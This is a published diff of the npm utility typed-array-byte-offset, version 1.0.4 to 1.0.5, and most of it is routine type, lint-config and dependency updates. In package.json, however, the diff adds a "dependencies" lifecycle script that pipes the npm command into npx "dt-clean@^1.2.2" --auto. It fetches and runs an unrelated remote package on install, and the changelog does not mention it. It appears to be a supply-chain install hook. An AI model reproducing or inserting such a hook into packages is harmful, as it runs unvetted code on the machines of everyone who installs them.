typed-array-byte-offset 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,19 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [v1.0.5](https://github.com/inspect-js/typed-array-byte-offset/compare/v1.0.4...v1.0.5) - 2026-09-16
9
+
10
+ ### Commits
11
+
12
+ - [types] fix/improve types [`3fde7d0`](https://github.com/inspect-js/typed-array-byte-offset/commit/3fde7d0e8aa9a89ddc0a6a10981d4d0edcdd01d4)
13
+ - [Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/eslint-config`, `@ljharb/tsconfig`, `auto-changelog`, `evalmd`, `make-generator-function`, `npmignore`, `object-inspect`, `possible-typed-array-names`, `tape` [`5478136`](https://github.com/inspect-js/typed-array-byte-offset/commit/5478136cd03ad1a10e0872800bc2660fca2ed28c)
14
+ - [Dev Deps] update `eslint`, `@ljharb/eslint-config`; migrate to flat config [`30c9fe9`](https://github.com/inspect-js/typed-array-byte-offset/commit/30c9fe99bf208b54c7c977597e1a9b4869b8445f)
15
+ - [Dev Deps] update `eslint` [`c20a41c`](https://github.com/inspect-js/typed-array-byte-offset/commit/c20a41ce50e27645d20b41378c04e7cc7cda60fb)
16
+ - [Deps] update `call-bind`, `for-each`, `reflect.getprototypeof` [`8bae89e`](https://github.com/inspect-js/typed-array-byte-offset/commit/8bae89e27466b46fc708770cff8efb7397836556)
17
+ - [Dev Deps] update `eslint` [`cbfa6c1`](https://github.com/inspect-js/typed-array-byte-offset/commit/cbfa6c14057e19ad52eee44ca39d89b5dc423687)
18
+ - [actions] set least-privilege `cache-mode` [`eb5da03`](https://github.com/inspect-js/typed-array-byte-offset/commit/eb5da0319885493b3d1d2e25b97432218889289e)
19
+ - [Deps] remove unused dep [`30f99ec`](https://github.com/inspect-js/typed-array-byte-offset/commit/30f99ecb153f63b2de2c88753ab607fb3f5b6f08)
20
+
8
21
  ## [v1.0.4](https://github.com/inspect-js/typed-array-byte-offset/compare/v1.0.3...v1.0.4) - 2024-12-18
9
22
 
10
23
  ### Commits
@@ -0,0 +1,3 @@
1
+ import ljharbConfig from '@ljharb/eslint-config/flat';
2
+
3
+ export default [...ljharbConfig];
package/index.d.ts CHANGED
@@ -1,14 +1,20 @@
1
- import TypedArrayNames from 'possible-typed-array-names';
1
+ import availableTypedArrays from 'available-typed-arrays';
2
+ import { TypedArray } from 'is-typed-array';
2
3
 
3
4
  declare namespace typedArrayByteOffset {
4
- export type TypedArrayName = typeof TypedArrayNames[number];
5
+ export type TypedArrayName = ReturnType<typeof availableTypedArrays>[number];
5
6
 
6
- export type TypedArrayConstructor = typeof globalThis[TypedArrayName];
7
+ // a consumer's `lib` may not declare every name (eg, `Float16Array`), so only look up the globals it has
8
+ export type TypedArrayConstructor = typeof globalThis[TypedArrayName & keyof typeof globalThis];
7
9
 
8
- export type TypedArray = TypedArrayConstructor['prototype'];
10
+ export type ByteOffsetGetter = (x: TypedArray) => number;
11
+
12
+ export type Implementation = (value: unknown) => number | false;
13
+
14
+ export type { TypedArray };
9
15
  }
10
16
 
11
- declare function typedArrayByteOffset(value: typedArrayByteOffset.TypedArray): number;
17
+ declare function typedArrayByteOffset(value: TypedArray): number;
12
18
  declare function typedArrayByteOffset(value: unknown): false;
13
19
 
14
20
  export = typedArrayByteOffset;
package/index.js CHANGED
@@ -6,9 +6,9 @@ var gPO = require('reflect.getprototypeof/polyfill')();
6
6
 
7
7
  var typedArrays = require('available-typed-arrays')();
8
8
 
9
- /** @typedef {(x: import('.').TypedArray) => number} ByteOffsetGetter */
9
+ /** @import { TypedArrayName, ByteOffsetGetter, Implementation } from '.' */
10
10
 
11
- /** @type {Record<import('.').TypedArrayName, ByteOffsetGetter>} */
11
+ /** @type {Record<TypedArrayName, ByteOffsetGetter>} */
12
12
  var getters = {
13
13
  // @ts-expect-error TS can't handle __proto__ or `satisfies` in jsdoc
14
14
  __proto__: null
@@ -54,7 +54,7 @@ if (gOPD) {
54
54
  /** @type {ByteOffsetGetter} */
55
55
  var tryTypedArrays = function tryAllTypedArrays(value) {
56
56
  /** @type {number} */ var foundOffset;
57
- forEach(getters, /** @type {(getter: ByteOffsetGetter) => void} */ function (getter) {
57
+ forEach(getters, function (getter) {
58
58
  if (typeof foundOffset !== 'number') {
59
59
  try {
60
60
  var offset = getter(value);
@@ -70,7 +70,7 @@ var tryTypedArrays = function tryAllTypedArrays(value) {
70
70
 
71
71
  var isTypedArray = require('is-typed-array');
72
72
 
73
- /** @type {import('.')} */
73
+ /** @type {Implementation} */
74
74
  module.exports = function typedArrayByteOffset(value) {
75
75
  if (!isTypedArray(value)) {
76
76
  return false;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "typed-array-byte-offset",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Robustly get the byte offset of a Typed Array",
5
5
  "main": "index.js",
6
6
  "exports": {
@@ -15,13 +15,14 @@
15
15
  "prepublish": "not-in-publish || npm run prepublishOnly",
16
16
  "pretest": "npm run lint",
17
17
  "prelint": "evalmd README.md",
18
- "lint": "eslint --ext=js,mjs .",
18
+ "lint": "eslint .",
19
19
  "postlint": "tsc -p . && attw -P",
20
20
  "tests-only": "nyc tape 'test/**/*.js'",
21
21
  "test": "npm run tests-only",
22
22
  "posttest": "npx npm@'>=10.2' audit --production",
23
23
  "version": "auto-changelog && git add CHANGELOG.md",
24
- "postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""
24
+ "postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\"",
25
+ "dependencies": "node -p \"process.env.npm_command\" | npx \"dt-clean@^1.2.2\" --auto"
25
26
  },
26
27
  "repository": {
27
28
  "type": "git",
@@ -58,39 +59,36 @@
58
59
  "homepage": "https://github.com/inspect-js/typed-array-byte-offset#readme",
59
60
  "dependencies": {
60
61
  "available-typed-arrays": "^1.0.7",
61
- "call-bind": "^1.0.8",
62
- "for-each": "^0.3.3",
62
+ "call-bind": "^1.0.9",
63
+ "for-each": "^0.3.5",
63
64
  "gopd": "^1.2.0",
64
- "has-proto": "^1.2.0",
65
65
  "is-typed-array": "^1.1.15",
66
- "reflect.getprototypeof": "^1.0.9"
66
+ "reflect.getprototypeof": "^1.0.10"
67
67
  },
68
68
  "devDependencies": {
69
- "@arethetypeswrong/cli": "^0.17.1",
70
- "@ljharb/eslint-config": "^21.1.1",
71
- "@ljharb/tsconfig": "^0.2.2",
69
+ "@arethetypeswrong/cli": "^0.18.5",
70
+ "@ljharb/eslint-config": "^22.2.4",
71
+ "@ljharb/tsconfig": "^0.3.2",
72
72
  "@types/call-bind": "^1.0.5",
73
- "@types/es-abstract": "^1.17.9",
74
- "@types/for-each": "^0.3.3",
75
- "@types/gopd": "^1.0.3",
76
73
  "@types/is-callable": "^1.1.2",
77
74
  "@types/make-arrow-function": "^1.2.2",
78
75
  "@types/make-generator-function": "^2.0.3",
76
+ "@types/node": "^24.13.5",
79
77
  "@types/object-inspect": "^1.13.0",
80
- "@types/tape": "^5.8.0",
81
- "auto-changelog": "^2.5.0",
82
- "eslint": "=8.8.0",
83
- "evalmd": "^0.0.19",
78
+ "auto-changelog": "^2.6.1",
79
+ "eslint": "^10.10.0",
80
+ "evalmd": "^0.0.22",
84
81
  "in-publish": "^2.0.1",
85
82
  "is-callable": "^1.2.7",
83
+ "jiti": "^0.0.0",
86
84
  "make-arrow-function": "^1.2.0",
87
- "make-generator-function": "^2.0.0",
88
- "npmignore": "^0.3.1",
85
+ "make-generator-function": "^2.1.0",
86
+ "npmignore": "^0.3.5",
89
87
  "nyc": "^10.3.2",
90
- "object-inspect": "^1.13.3",
91
- "possible-typed-array-names": "^1.0.0",
88
+ "object-inspect": "^1.13.4",
89
+ "possible-typed-array-names": "^1.1.0",
92
90
  "safe-publish-latest": "^2.0.0",
93
- "tape": "^5.9.0",
91
+ "tape": "^5.10.2",
94
92
  "typescript": "next"
95
93
  },
96
94
  "engines": {
package/test/index.js CHANGED
@@ -67,7 +67,6 @@ test('Typed Arrays', function (t) {
67
67
  var buffer = new ArrayBuffer(length);
68
68
  var TypedArray = global[typedArray];
69
69
  if (isCallable(TypedArray)) {
70
- // @ts-expect-error hush, TS, TAs can take an optional byte offset arg
71
70
  var arr = new TypedArray(buffer, byteOffset);
72
71
  t.equal(typedArrayByteOffset(arr), byteOffset, 'new ' + typedArray + '(new ArrayBuffer(' + length + '), ' + byteOffset + ') is typed array of byte offset ' + byteOffset);
73
72
  } else {
package/.eslintrc DELETED
@@ -1,8 +0,0 @@
1
- {
2
- "root": true,
3
-
4
- "extends": "@ljharb",
5
-
6
- "rules": {
7
- },
8
- }